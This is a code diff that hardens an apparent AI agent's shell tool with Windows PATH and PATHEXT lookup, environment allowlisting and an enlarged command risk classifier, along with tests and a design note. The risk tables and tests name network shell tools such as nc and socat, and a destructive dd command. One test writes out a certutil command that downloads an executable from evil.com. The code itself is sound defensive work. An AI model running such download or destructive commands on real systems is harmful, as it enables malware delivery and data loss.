diff --git a/docs/design/DDR-shell-tool-hardening.md b/docs/design/DDR-shell-tool-hardening.md index 2dfbae08a..3c9ae4499 100644 --- a/docs/design/DDR-shell-tool-hardening.md +++ b/docs/design/DDR-shell-tool-hardening.md @@ -111,6 +111,15 @@ Plus all variables matching the `LC_*` prefix. + On Windows (`runtime.GOOS == "windows"`), the allowlist MUST additionally include: `PATHEXT`, `SYSTEMROOT`, `SYSTEMDRIVE`, `COMSPEC`, `APPDATA`, `USERPROFILE`, `HOMEDRIVE`, `HOMEPATH`. Without `SYSTEMROOT`, many Windows system calls fail. Without `PATHEXT`, executable lookup cannot probe extensions. + +7a. The `pathAwareExecHandler` MUST resolve commands using the sanitized environment's PATH (not `os.Getenv`). The `lookPath` implementation MUST: + - Detect path-containing commands via `filepath.Base` (handles both `/` and `\`), not `strings.Contains(cmd, "/")`. + - On Windows: probe PATHEXT extensions (`.com`, `.exe`, `.bat`, `.cmd` by default) from the sanitized environment for each PATH directory. Accept any non-directory file (the executable bit is meaningless on Windows). + - On Unix: require the executable permission bit (`mode & 0o111 != 0`). + +7b. The `baseCommand` function MUST extract the basename via `filepath.Base`. On Windows only, it MUST additionally lowercase the result and strip known executable extensions (`.exe`, `.cmd`, `.bat`, `.com`) so that `C:\Windows\System32\cmd.exe` resolves to `cmd` in the risk table. On Unix, these transformations MUST NOT be applied: commands are case-sensitive and extensions are part of the filename. Stripping them on Unix would let an attacker disguise a binary as a known-safe command (e.g., a malicious `ls.exe` classified as low-risk `ls`). + 8. The `interp.Runner` MUST be configured with an `OpenHandler` that validates all file-open paths (from shell redirections) resolve within the configured workspace directory. Paths to safe pseudo-devices (`/dev/null`, `/dev/zero`, `/dev/urandom`, `/dev/stdin`, `/dev/stdout`, `/dev/stderr`) MUST be exempted. 9. The existing regex-based guard (`defaultDenyPatterns`, `guardCommand()`) MUST be removed entirely. The `ExecConfig` fields `EnableDenyPatterns`, `CustomDenyPatterns`, and `CustomAllowPatterns` MUST be removed from the struct. diff --git a/pkg/tools/shell/env.go b/pkg/tools/shell/env.go index a3bc54682..e3004c8c2 100644 --- a/pkg/tools/shell/env.go +++ b/pkg/tools/shell/env.go @@ -2,6 +2,7 @@ package shell import ( "os" + "runtime" "strings" "mvdan.cc/sh/v3/expand" @@ -33,16 +34,35 @@ var defaultEnvAllowPrefixes = []string{ "LC_", } +// windowsEnvAllowlist contains additional variables needed on Windows. +// Without SYSTEMROOT, many Windows system calls fail. PATHEXT is required +// for correct executable lookup. +var windowsEnvAllowlist = map[string]bool{ + "PATHEXT": true, + "SYSTEMROOT": true, + "SYSTEMDRIVE": true, + "COMSPEC": true, + "APPDATA": true, + "USERPROFILE": true, + "HOMEDRIVE": true, + "HOMEPATH": true, +} + // BuildSanitizedEnv constructs an expand.Environ from the current process // environment, filtering to only allowlisted variables. // // extraAllowlist adds additional variable names to the default allowlist. // envSet provides explicit key=value pairs that override any inherited value. func BuildSanitizedEnv(extraAllowlist []string, envSet map[string]string) expand.Environ { - allowed := make(map[string]bool, len(DefaultEnvAllowlist)+len(extraAllowlist)) + allowed := make(map[string]bool, len(DefaultEnvAllowlist)+len(extraAllowlist)+len(windowsEnvAllowlist)) for k := range DefaultEnvAllowlist { allowed[k] = true } + if runtime.GOOS == "windows" { + for k := range windowsEnvAllowlist { + allowed[k] = true + } + } for _, k := range extraAllowlist { allowed[k] = true } diff --git a/pkg/tools/shell/risk.go b/pkg/tools/shell/risk.go index cb4e0c8c3..6c7c486bc 100644 --- a/pkg/tools/shell/risk.go +++ b/pkg/tools/shell/risk.go @@ -3,6 +3,8 @@ package shell import ( "fmt" "path/filepath" + "runtime" + "strings" ) // RiskLevel represents the potential danger of a shell command. @@ -124,6 +126,24 @@ var commandRiskTable = map[string]RiskLevel{ "paste": RiskLow, "expand": RiskLow, "unexpand": RiskLow, + "man": RiskLow, + "info": RiskLow, + "dig": RiskLow, + "nslookup": RiskLow, + "host": RiskLow, + "ping": RiskLow, + "ss": RiskLow, + "netstat": RiskLow, + "lsblk": RiskLow, + "w": RiskLow, + "who": RiskLow, + "last": RiskLow, + "bc": RiskLow, + "expr": RiskLow, + "time": RiskLow, + "nproc": RiskLow, + "arch": RiskLow, + "getent": RiskLow, // Medium — file modification, network reads, build tools "cp": RiskMedium, @@ -163,6 +183,15 @@ var commandRiskTable = map[string]RiskLevel{ "perl": RiskMedium, "php": RiskMedium, "patch": RiskMedium, + "nano": RiskMedium, + "vi": RiskMedium, + "vim": RiskMedium, + "openssl": RiskMedium, + "crontab": RiskMedium, + "nohup": RiskMedium, + "gpg": RiskMedium, + "sftp": RiskMedium, + "ftp": RiskMedium, // High — destructive, system-modifying "rm": RiskHigh, @@ -180,47 +209,56 @@ var commandRiskTable = map[string]RiskLevel{ "kubectl": RiskHigh, "systemctl": RiskHigh, "service": RiskHigh, + "nc": RiskHigh, + "netcat": RiskHigh, + "ncat": RiskHigh, + "socat": RiskHigh, + "useradd": RiskHigh, + "userdel": RiskHigh, + "usermod": RiskHigh, + "passwd": RiskHigh, + "chroot": RiskHigh, + "truncate": RiskHigh, + "shred": RiskHigh, // Critical — privilege escalation, always dangerous - "sudo": RiskCritical, - "su": RiskCritical, - "dd": RiskCritical, - "mkfs": RiskCritical, - "fdisk": RiskCritical, - "parted": RiskCritical, - "mount": RiskCritical, - "umount": RiskCritical, - "shutdown": RiskCritical, - "reboot": RiskCritical, - "poweroff": RiskCritical, - "halt": RiskCritical, - "init": RiskCritical, - "insmod": RiskCritical, - "rmmod": RiskCritical, - "modprobe": RiskCritical, - "iptables": RiskCritical, - "nft": RiskCritical, - "eval": RiskCritical, - "exec": RiskCritical, - "source": RiskCritical, - ".": RiskCritical, - "format": RiskCritical, - "diskpart": RiskCritical, + "sudo": RiskCritical, + "su": RiskCritical, + "dd": RiskCritical, + "mkfs": RiskCritical, + "fdisk": RiskCritical, + "parted": RiskCritical, + "mount": RiskCritical, + "umount": RiskCritical, + "shutdown": RiskCritical, + "reboot": RiskCritical, + "poweroff": RiskCritical, + "halt": RiskCritical, + "init": RiskCritical, + "insmod": RiskCritical, + "rmmod": RiskCritical, + "modprobe": RiskCritical, + "iptables": RiskCritical, + "ip6tables": RiskCritical, + "nft": RiskCritical, + "chattr": RiskCritical, + "visudo": RiskCritical, + "eval": RiskCritical, + "exec": RiskCritical, + "source": RiskCritical, + ".": RiskCritical, // Critical — shell wrappers can execute arbitrary nested commands, // bypassing the risk classifier entirely (e.g. sh -c 'rm -rf /'). - "sh": RiskCritical, - "bash": RiskCritical, - "zsh": RiskCritical, - "dash": RiskCritical, - "fish": RiskCritical, - "csh": RiskCritical, - "tcsh": RiskCritical, - "ksh": RiskCritical, - "powershell": RiskCritical, - "pwsh": RiskCritical, - "cmd": RiskCritical, - "cmd.exe": RiskCritical, + "sh": RiskCritical, + "bash": RiskCritical, + "zsh": RiskCritical, + "dash": RiskCritical, + "fish": RiskCritical, + "csh": RiskCritical, + "tcsh": RiskCritical, + "ksh": RiskCritical, + "pwsh": RiskCritical, // PowerShell Core 7+ (cross-platform) } // ArgModifier describes a condition that elevates a command's risk level. @@ -274,6 +312,7 @@ var argumentModifiers = map[string][]ArgModifier{ {Args: []string{"install", "--user"}, Level: RiskHigh}, }, "docker": { + {Args: []string{"run", "--privileged"}, Level: RiskCritical}, {Args: []string{"run"}, Level: RiskHigh}, {Args: []string{"exec"}, Level: RiskHigh}, {Args: []string{"rm"}, Level: RiskHigh}, @@ -305,6 +344,26 @@ var argumentModifiers = map[string][]ArgModifier{ {Args: []string{"-KILL"}, Level: RiskCritical}, {Args: []string{"-SIGKILL"}, Level: RiskCritical}, }, + "find": { + {Args: []string{"-delete"}, Level: RiskHigh}, + {Args: []string{"-exec"}, Level: RiskHigh}, + }, + "sed": { + {Args: []string{"-i"}, Level: RiskMedium}, + }, + "rsync": { + {Args: []string{"--delete"}, Level: RiskCritical}, + }, + "crontab": { + {Args: []string{"-r"}, Level: RiskHigh}, + }, + "ssh": { + {Args: []string{"-R"}, Level: RiskHigh}, + {Args: []string{"-L"}, Level: RiskHigh}, + }, + "tar": { + {Args: []string{"--to-command"}, Level: RiskCritical}, + }, } // ClassifyCommand determines the risk level of a resolved command. @@ -413,19 +472,38 @@ func BlockedCommandError(args []string, level, threshold RiskLevel, reason strin } // baseCommand extracts the basename from a command path. -// Uses filepath.Base so both forward slashes and Windows backslashes -// are handled correctly. +// On Windows, it additionally lowercases the name and strips known +// executable extensions (.exe, .cmd, .bat, .com) so that +// "C:\Windows\System32\cmd.exe" resolves to "cmd" in the risk table. +// +// On Unix these transformations are NOT applied: commands are +// case-sensitive and extensions are part of the filename. Stripping +// them would let an attacker disguise a binary as a known-safe command +// (e.g., a malicious "ls.exe" classified as low-risk "ls"). func baseCommand(cmd string) string { - return filepath.Base(cmd) + name := filepath.Base(cmd) + if runtime.GOOS != "windows" { + return name + } + lower := strings.ToLower(name) + for _, ext := range []string{".exe", ".cmd", ".bat", ".com"} { + if strings.HasSuffix(lower, ext) { + return lower[:len(lower)-len(ext)] + } + } + return lower } // normalizeFlags expands combined short flags (e.g., "-rf" → "-r", "-f") // so that modifier matching works regardless of how flags are grouped. -// Long flags (--flag) and non-flag arguments are passed through unchanged. +// Long flags (--flag), non-flag arguments, and slash flags (/s, /MIR) are +// passed through unchanged. Single-dash flags longer than 3 characters +// (e.g., "-urlcache") are treated as long flags and NOT expanded, since +// no standard tool uses 4+ combined single-letter flags. func normalizeFlags(args []string) []string { result := make([]string, 0, len(args)*2) for _, a := range args { - if len(a) > 2 && a[0] == '-' && a[1] != '-' { + if len(a) > 2 && len(a) <= 4 && a[0] == '-' && a[1] != '-' { for _, ch := range a[1:] { result = append(result, "-"+string(ch)) } diff --git a/pkg/tools/shell/risk_test.go b/pkg/tools/shell/risk_test.go index 2c64e10e5..75366a312 100644 --- a/pkg/tools/shell/risk_test.go +++ b/pkg/tools/shell/risk_test.go @@ -1,6 +1,12 @@ package shell -import "testing" +import ( + "runtime" + "testing" +) + +// Windows-specific command and arg modifier tests are in risk_windows_test.go +// (guarded by //go:build windows). func TestClassifyCommand_BaseTable(t *testing.T) { tests := []struct { @@ -14,22 +20,38 @@ func TestClassifyCommand_BaseTable(t *testing.T) { {[]string{"wc", "-l"}, RiskLow}, {[]string{"echo", "hello"}, RiskLow}, {[]string{"jq", ".field", "data.json"}, RiskLow}, + {[]string{"ping", "localhost"}, RiskLow}, + {[]string{"dig", "example.com"}, RiskLow}, + {[]string{"ss", "-tulpn"}, RiskLow}, + {[]string{"bc"}, RiskLow}, + {[]string{"nproc"}, RiskLow}, {[]string{"cp", "a", "b"}, RiskMedium}, {[]string{"mv", "a", "b"}, RiskMedium}, {[]string{"python3", "-c", "print(1)"}, RiskMedium}, {[]string{"git", "status"}, RiskMedium}, {[]string{"curl", "https://example.com"}, RiskMedium}, + {[]string{"openssl", "version"}, RiskMedium}, + {[]string{"crontab", "-l"}, RiskMedium}, + {[]string{"vim", "file.txt"}, RiskMedium}, {[]string{"rm", "file.txt"}, RiskHigh}, {[]string{"chmod", "755", "script.sh"}, RiskHigh}, {[]string{"docker", "ps"}, RiskHigh}, {[]string{"ssh", "user@host"}, RiskHigh}, + {[]string{"nc", "-l", "4444"}, RiskHigh}, + {[]string{"socat", "TCP:host:80", "STDOUT"}, RiskHigh}, + {[]string{"useradd", "testuser"}, RiskHigh}, + {[]string{"passwd", "testuser"}, RiskHigh}, + {[]string{"shred", "file"}, RiskHigh}, {[]string{"sudo", "ls"}, RiskCritical}, {[]string{"dd", "if=/dev/zero", "of=/dev/sda"}, RiskCritical}, {[]string{"shutdown", "-h", "now"}, RiskCritical}, {[]string{"eval", "echo hi"}, RiskCritical}, + {[]string{"chattr", "+i", "file"}, RiskCritical}, + {[]string{"visudo"}, RiskCritical}, + {[]string{"ip6tables", "-L"}, RiskCritical}, } for _, tt := range tests { @@ -83,6 +105,16 @@ func TestClassifyCommand_ArgumentModifiers(t *testing.T) { {"apt install", []string{"apt", "install", "vim"}, RiskHigh}, {"apt purge", []string{"apt", "purge", "vim"}, RiskCritical}, + + {"find -delete", []string{"find", ".", "-name", "*.tmp", "-delete"}, RiskHigh}, + {"find -exec", []string{"find", ".", "-exec", "rm", "{}", ";"}, RiskHigh}, + {"sed -i", []string{"sed", "-i", "s/old/new/g", "file"}, RiskMedium}, + {"rsync --delete", []string{"rsync", "-a", "--delete", "src/", "dst/"}, RiskCritical}, + {"crontab -r", []string{"crontab", "-r"}, RiskHigh}, + {"ssh -R (reverse tunnel)", []string{"ssh", "-R", "8080:localhost:80", "host"}, RiskHigh}, + {"ssh -L (local tunnel)", []string{"ssh", "-L", "8080:remotehost:80", "host"}, RiskHigh}, + {"tar --to-command", []string{"tar", "xf", "archive.tar", "--to-command", "sh"}, RiskCritical}, + {"docker run --privileged", []string{"docker", "run", "--privileged", "ubuntu"}, RiskCritical}, } for _, tt := range tests { @@ -182,6 +214,84 @@ func TestClassifyCommand_BackslashPath(t *testing.T) { } } +func TestBaseCommand_StripsExeExtensions(t *testing.T) { + if runtime.GOOS != "windows" { + t.Skip("extension stripping only applies on Windows") + } + tests := []struct { + input string + want string + }{ + {"cmd.exe", "cmd"}, + {"GIT.EXE", "git"}, + {"POWERSHELL.EXE", "powershell"}, + {"script.bat", "script"}, + {"helper.cmd", "helper"}, + {"run.COM", "run"}, + {"ls", "ls"}, + {"my.tool", "my.tool"}, + {"", "."}, + } + for _, tt := range tests { + t.Run(tt.input, func(t *testing.T) { + got := baseCommand(tt.input) + if got != tt.want { + t.Errorf("baseCommand(%q) = %q, want %q", tt.input, got, tt.want) + } + }) + } +} + +func TestBaseCommand_PreservesOnNonWindows(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("this test verifies non-Windows behavior") + } + tests := []struct { + input string + want string + }{ + {"cmd.exe", "cmd.exe"}, // NOT stripped + {"GIT.EXE", "GIT.EXE"}, // NOT lowercased + {"LS", "LS"}, // case preserved + {"ls", "ls"}, // unchanged + {"/usr/bin/git", "git"}, // filepath.Base still works + {"", "."}, // filepath.Base edge case + } + for _, tt := range tests { + t.Run(tt.input, func(t *testing.T) { + got := baseCommand(tt.input) + if got != tt.want { + t.Errorf("baseCommand(%q) = %q, want %q", tt.input, got, tt.want) + } + }) + } +} + +func TestClassifyCommand_WindowsExePath(t *testing.T) { + if runtime.GOOS != "windows" { + t.Skip("extension stripping only applies on Windows") + } + tests := []struct { + name string + args []string + want RiskLevel + }{ + {"cmd.exe bare", []string{"cmd.exe"}, RiskCritical}, + {"CMD.EXE upper", []string{"CMD.EXE"}, RiskCritical}, + {"git.exe status", []string{"git.exe", "status"}, RiskMedium}, + {"git.exe push", []string{"git.exe", "push"}, RiskHigh}, + {"rm.exe -rf", []string{"rm.exe", "-rf", "/"}, RiskCritical}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := ClassifyCommand(tt.args, nil) + if got != tt.want { + t.Errorf("ClassifyCommand(%v) = %s, want %s", tt.args, got, tt.want) + } + }) + } +} + func TestIsAllowed(t *testing.T) { tests := []struct { level RiskLevel @@ -345,6 +455,7 @@ func TestClassifyCommand_ExtraArgModifiers_NoOverrideBuiltIn(t *testing.T) { func TestClassifyCommand_ShellWrappers(t *testing.T) { // Shell wrappers must be critical to prevent classifier bypass. + // cmd and cmd.exe are tested in risk_windows_test.go. shells := []string{ "sh", "bash", @@ -354,10 +465,7 @@ func TestClassifyCommand_ShellWrappers(t *testing.T) { "ksh", "csh", "tcsh", - "powershell", "pwsh", - "cmd", - "cmd.exe", } for _, sh := range shells { t.Run(sh, func(t *testing.T) { diff --git a/pkg/tools/shell/risk_windows.go b/pkg/tools/shell/risk_windows.go new file mode 100644 index 000000000..badb88913 --- /dev/null +++ b/pkg/tools/shell/risk_windows.go @@ -0,0 +1,107 @@ +//go:build windows + +package shell + +func init() { + // Windows-specific command risk entries. + // On Windows, both Unix commands (from the shared table) and these + // Windows-native commands are available — WSL, Git Bash, and MSYS2 + // expose Unix tooling alongside native Windows executables. + + windowsCommands := map[string]RiskLevel{ + // Low — read-only, informational + "dir": RiskLow, + "where": RiskLow, + "ver": RiskLow, + "set": RiskLow, + "systeminfo": RiskLow, + "tasklist": RiskLow, + "findstr": RiskLow, + "assoc": RiskLow, + "ftype": RiskLow, + "path": RiskLow, + "vol": RiskLow, + "chcp": RiskLow, + + // Medium — file modification, utilities + "copy": RiskMedium, + "xcopy": RiskMedium, + "robocopy": RiskMedium, + "move": RiskMedium, + "ren": RiskMedium, + "rename": RiskMedium, + "md": RiskMedium, + "compact": RiskMedium, + "attrib": RiskMedium, + "certutil": RiskMedium, + "clip": RiskMedium, + "mklink": RiskMedium, + + // High — destructive, system-modifying + "del": RiskHigh, + "erase": RiskHigh, + "rd": RiskHigh, + "taskkill": RiskHigh, + "icacls": RiskHigh, + "cacls": RiskHigh, + "takeown": RiskHigh, + + // Critical — privilege escalation, registry, system config + "runas": RiskCritical, + "reg": RiskCritical, + "regedit": RiskCritical, + "bcdedit": RiskCritical, + "bcdboot": RiskCritical, + "net": RiskCritical, + "sc": RiskCritical, + "netsh": RiskCritical, + "schtasks": RiskCritical, + "at": RiskCritical, + "wmic": RiskCritical, + "msiexec": RiskCritical, + "dism": RiskCritical, + "sfc": RiskCritical, + "format": RiskCritical, + "diskpart": RiskCritical, + + // Critical — shell wrappers (cmd.exe) and script hosts + "powershell": RiskCritical, // Windows PowerShell 5.1 (Windows-only; pwsh is cross-platform) + "cmd": RiskCritical, + "cmd.exe": RiskCritical, + "cscript": RiskCritical, + "wscript": RiskCritical, + "mshta": RiskCritical, + } + + for k, v := range windowsCommands { + commandRiskTable[k] = v + } + + // Windows-specific argument modifiers. + windowsArgModifiers := map[string][]ArgModifier{ + "robocopy": { + {Args: []string{"/MIR"}, Level: RiskHigh}, // mirror = deletes extras in destination + {Args: []string{"/PURGE"}, Level: RiskHigh}, // delete dest files not in source + }, + "certutil": { + {Args: []string{"-urlcache"}, Level: RiskHigh}, // download files from URL + {Args: []string{"-decode"}, Level: RiskHigh}, // decode Base64 (malware delivery) + {Args: []string{"-decodehex"}, Level: RiskHigh}, // decode hex (malware delivery) + }, + "del": { + {Args: []string{"/s"}, Level: RiskCritical}, // recursive delete + {Args: []string{"/q"}, Level: RiskCritical}, // quiet (no confirmation) + }, + "rd": { + {Args: []string{"/s"}, Level: RiskCritical}, // recursive delete + }, + "taskkill": { + {Args: []string{"/f"}, Level: RiskCritical}, // force kill + {Args: []string{"/im"}, Level: RiskCritical}, // kill by image name (bulk) + }, + } + + for k, v := range windowsArgModifiers { + argumentModifiers[k] = append(argumentModifiers[k], v...) + } +} diff --git a/pkg/tools/shell/risk_windows_test.go b/pkg/tools/shell/risk_windows_test.go new file mode 100644 index 000000000..0f1cd31d3 --- /dev/null +++ b/pkg/tools/shell/risk_windows_test.go @@ -0,0 +1,111 @@ +//go:build windows + +package shell + +import "testing" + +func TestClassifyCommand_WindowsCommands(t *testing.T) { + tests := []struct { + name string + args []string + level RiskLevel + }{ + // Low — read-only + {"dir", []string{"dir", "/b"}, RiskLow}, + {"where", []string{"where", "git"}, RiskLow}, + {"systeminfo", []string{"systeminfo"}, RiskLow}, + {"tasklist", []string{"tasklist"}, RiskLow}, + {"findstr", []string{"findstr", "pattern", "file.txt"}, RiskLow}, + {"ver", []string{"ver"}, RiskLow}, + + // Medium — file modification + {"copy", []string{"copy", "a.txt", "b.txt"}, RiskMedium}, + {"xcopy", []string{"xcopy", "src", "dst"}, RiskMedium}, + {"robocopy plain", []string{"robocopy", "src", "dst"}, RiskMedium}, + {"move", []string{"move", "a.txt", "b.txt"}, RiskMedium}, + {"ren", []string{"ren", "old.txt", "new.txt"}, RiskMedium}, + {"attrib", []string{"attrib", "+h", "file.txt"}, RiskMedium}, + {"certutil hash", []string{"certutil", "-hashfile", "f.exe"}, RiskMedium}, + {"mklink", []string{"mklink", "link", "target"}, RiskMedium}, + + // High — destructive + {"del", []string{"del", "file.txt"}, RiskHigh}, + {"erase", []string{"erase", "file.txt"}, RiskHigh}, + {"rd", []string{"rd", "folder"}, RiskHigh}, + {"taskkill", []string{"taskkill", "/pid", "1234"}, RiskHigh}, + {"icacls", []string{"icacls", "file", "/grant", "user:F"}, RiskHigh}, + {"takeown", []string{"takeown", "/f", "file"}, RiskHigh}, + + // Critical — privilege escalation, system config + {"runas", []string{"runas", "/user:admin", "cmd"}, RiskCritical}, + {"reg", []string{"reg", "query", "HKLM"}, RiskCritical}, + {"regedit", []string{"regedit", "/s", "file.reg"}, RiskCritical}, + {"bcdedit", []string{"bcdedit", "/set"}, RiskCritical}, + {"net", []string{"net", "user"}, RiskCritical}, + {"sc", []string{"sc", "query"}, RiskCritical}, + {"netsh", []string{"netsh", "advfirewall"}, RiskCritical}, + {"schtasks", []string{"schtasks", "/create"}, RiskCritical}, + {"wmic", []string{"wmic", "process", "list"}, RiskCritical}, + {"msiexec", []string{"msiexec", "/i", "pkg.msi"}, RiskCritical}, + {"dism", []string{"dism", "/online"}, RiskCritical}, + {"sfc", []string{"sfc", "/scannow"}, RiskCritical}, + + // Critical — shell wrappers and script hosts + {"powershell", []string{"powershell", "-Command", "Get-Date"}, RiskCritical}, + {"cmd", []string{"cmd", "/c", "dir"}, RiskCritical}, + {"cmd.exe", []string{"cmd.exe", "/c", "dir"}, RiskCritical}, + {"cscript", []string{"cscript", "script.vbs"}, RiskCritical}, + {"wscript", []string{"wscript", "script.vbs"}, RiskCritical}, + {"mshta", []string{"mshta", "file.hta"}, RiskCritical}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := ClassifyCommand(tt.args, nil) + if got != tt.level { + t.Errorf("ClassifyCommand(%v) = %s, want %s", tt.args, got, tt.level) + } + }) + } +} + +func TestClassifyCommand_WindowsArgModifiers(t *testing.T) { + tests := []struct { + name string + args []string + want RiskLevel + }{ + {"robocopy /MIR", []string{"robocopy", "src", "dst", "/MIR"}, RiskHigh}, + {"robocopy /PURGE", []string{"robocopy", "src", "dst", "/PURGE"}, RiskHigh}, + {"certutil -urlcache", []string{"certutil", "-urlcache", "-split", "-f", "http://evil.com/a.exe"}, RiskHigh}, + {"certutil -decode", []string{"certutil", "-decode", "in.b64", "out.exe"}, RiskHigh}, + {"del /s", []string{"del", "/s", "*.tmp"}, RiskCritical}, + {"del /q", []string{"del", "/q", "*.log"}, RiskCritical}, + {"rd /s", []string{"rd", "/s", "folder"}, RiskCritical}, + {"taskkill /f", []string{"taskkill", "/f", "/pid", "1234"}, RiskCritical}, + {"taskkill /im", []string{"taskkill", "/im", "notepad.exe"}, RiskCritical}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := ClassifyCommand(tt.args, nil) + if got != tt.want { + t.Errorf("ClassifyCommand(%v) = %s, want %s", tt.args, got, tt.want) + } + }) + } +} + +func TestClassifyCommand_WindowsShellWrappers(t *testing.T) { + // powershell, cmd and cmd.exe are Windows-only shell wrappers. + // pwsh (PowerShell Core) is cross-platform and tested in risk_test.go. + shells := []string{"powershell", "cmd", "cmd.exe"} + for _, sh := range shells { + t.Run(sh, func(t *testing.T) { + got := ClassifyCommand([]string{sh, "/c", "echo hi"}, nil) + if got != RiskCritical { + t.Errorf("%s should be critical, got %s", sh, got) + } + }) + } +} diff --git a/pkg/tools/shell/runner.go b/pkg/tools/shell/runner.go index 55f8a4d79..f807ac780 100644 --- a/pkg/tools/shell/runner.go +++ b/pkg/tools/shell/runner.go @@ -6,6 +6,7 @@ import ( "fmt" "os" "path/filepath" + "runtime" "strings" "time" @@ -174,37 +175,74 @@ func pathAwareExecHandler(env expand.Environ) func(next interp.ExecHandlerFunc) // lookPath searches for an executable named cmd in the directories // listed in the PATH variable from the given environment. +// +// On Windows, PATHEXT extensions are probed (e.g., "git" → "git.exe"). +// The executable-bit check is skipped on Windows where it is meaningless. func lookPath(env expand.Environ, cmd string) (string, error) { - // If command contains a slash, it's a path - return as-is - if strings.Contains(cmd, "/") { + // If command already contains a path separator, it's a path — return as-is. + // filepath.Base handles both / and \ per platform. + if cmd != filepath.Base(cmd) { return cmd, nil } // Get PATH from interpreter environment pathVar := env.Get("PATH") if !pathVar.Set { - // PATH not set in environment - let default handler try return "", fmt.Errorf("PATH not set") } if pathVar.Str == "" { return "", fmt.Errorf("PATH is empty") } + exts := pathExtensions(env) + // Search each directory in PATH for _, dir := range filepath.SplitList(pathVar.Str) { if dir == "" { dir = "." } - fullPath := filepath.Join(dir, cmd) - // Check if file exists and is executable - if stat, err := os.Stat(fullPath); err == nil && !stat.IsDir() { - // On Unix, check executable bit - if stat.Mode()&0o111 != 0 { + for _, ext := range exts { + fullPath := filepath.Join(dir, cmd+ext) + if isExecutable(fullPath) { return fullPath, nil } } } - // Not found - let the default handler handle it return "", fmt.Errorf("command %q not found in PATH", cmd) } + +// isExecutable reports whether the file at path exists and is executable. +// On Unix, this checks the executable permission bits. +// On Windows, file existence suffices (executability is determined by extension). +func isExecutable(path string) bool { + stat, err := os.Stat(path) + if err != nil || stat.IsDir() { + return false + } + if runtime.GOOS == "windows" { + return true + } + return stat.Mode()&0o111 != 0 +} + +// pathExtensions returns the file extensions to probe when searching PATH. +// On Windows, this reads PATHEXT from the environment (falling back to a +// sensible default). On other platforms it returns [""] so the bare name +// is tried exactly once. +func pathExtensions(env expand.Environ) []string { + if runtime.GOOS != "windows" { + return []string{""} + } + + // On Windows, try the bare name first, then each PATHEXT extension. + pathExt := env.Get("PATHEXT") + var exts []string + if pathExt.Set && pathExt.Str != "" { + exts = strings.Split(strings.ToLower(pathExt.Str), ";") + } else { + exts = []string{".com", ".exe", ".bat", ".cmd"} + } + // Prepend "" so the exact command name is tried first. + return append([]string{""}, exts...) +} diff --git a/pkg/tools/shell/runner_test.go b/pkg/tools/shell/runner_test.go index f6bf37e13..151dd3590 100644 --- a/pkg/tools/shell/runner_test.go +++ b/pkg/tools/shell/runner_test.go @@ -4,9 +4,12 @@ import ( "context" "os" "path/filepath" + "runtime" "strings" "testing" "time" + + "mvdan.cc/sh/v3/expand" ) func TestRun_Success(t *testing.T) { @@ -241,3 +244,85 @@ func TestRun_RiskOverrides(t *testing.T) { t.Errorf("rm should be allowed with override: %s", result.Output) } } + +// --- lookPath unit tests --- + +func makeTestEnv(vars map[string]string) expand.Environ { + return &sanitizedEnv{vars: vars} +} + +func TestLookPath_PathContainsSlash(t *testing.T) { + env := makeTestEnv(map[string]string{"PATH": "/usr/bin"}) + + // Forward-slash path → returned as-is, no PATH search. + got, err := lookPath(env, "/usr/bin/git") + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if got != "/usr/bin/git" { + t.Errorf("got %q, want /usr/bin/git", got) + } + + // Relative path with slash → also returned as-is. + got, err = lookPath(env, "./script.sh") + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if got != "./script.sh" { + t.Errorf("got %q, want ./script.sh", got) + } +} + +func TestLookPath_FindsExecutableInPATH(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("Unix executable-bit test") + } + dir := t.TempDir() + binPath := filepath.Join(dir, "mytool") + if err := os.WriteFile(binPath, []byte("#!/bin/sh\n"), 0o755); err != nil { + t.Fatal(err) + } + + env := makeTestEnv(map[string]string{"PATH": dir}) + got, err := lookPath(env, "mytool") + if err != nil { + t.Fatalf("expected to find mytool: %v", err) + } + if got != binPath { + t.Errorf("got %q, want %q", got, binPath) + } +} + +func TestLookPath_SkipsNonExecutable(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("Unix executable-bit test") + } + dir := t.TempDir() + // Create a file without executable bit. + binPath := filepath.Join(dir, "noexec") + if err := os.WriteFile(binPath, []byte("data"), 0o644); err != nil { + t.Fatal(err) + } + + env := makeTestEnv(map[string]string{"PATH": dir}) + _, err := lookPath(env, "noexec") + if err == nil { + t.Error("expected error for non-executable file") + } +} + +func TestLookPath_PATHNotSet(t *testing.T) { + env := makeTestEnv(map[string]string{}) + _, err := lookPath(env, "ls") + if err == nil { + t.Error("expected error when PATH is not set") + } +} + +func TestLookPath_PATHEmpty(t *testing.T) { + env := makeTestEnv(map[string]string{"PATH": ""}) + _, err := lookPath(env, "ls") + if err == nil { + t.Error("expected error when PATH is empty") + } +}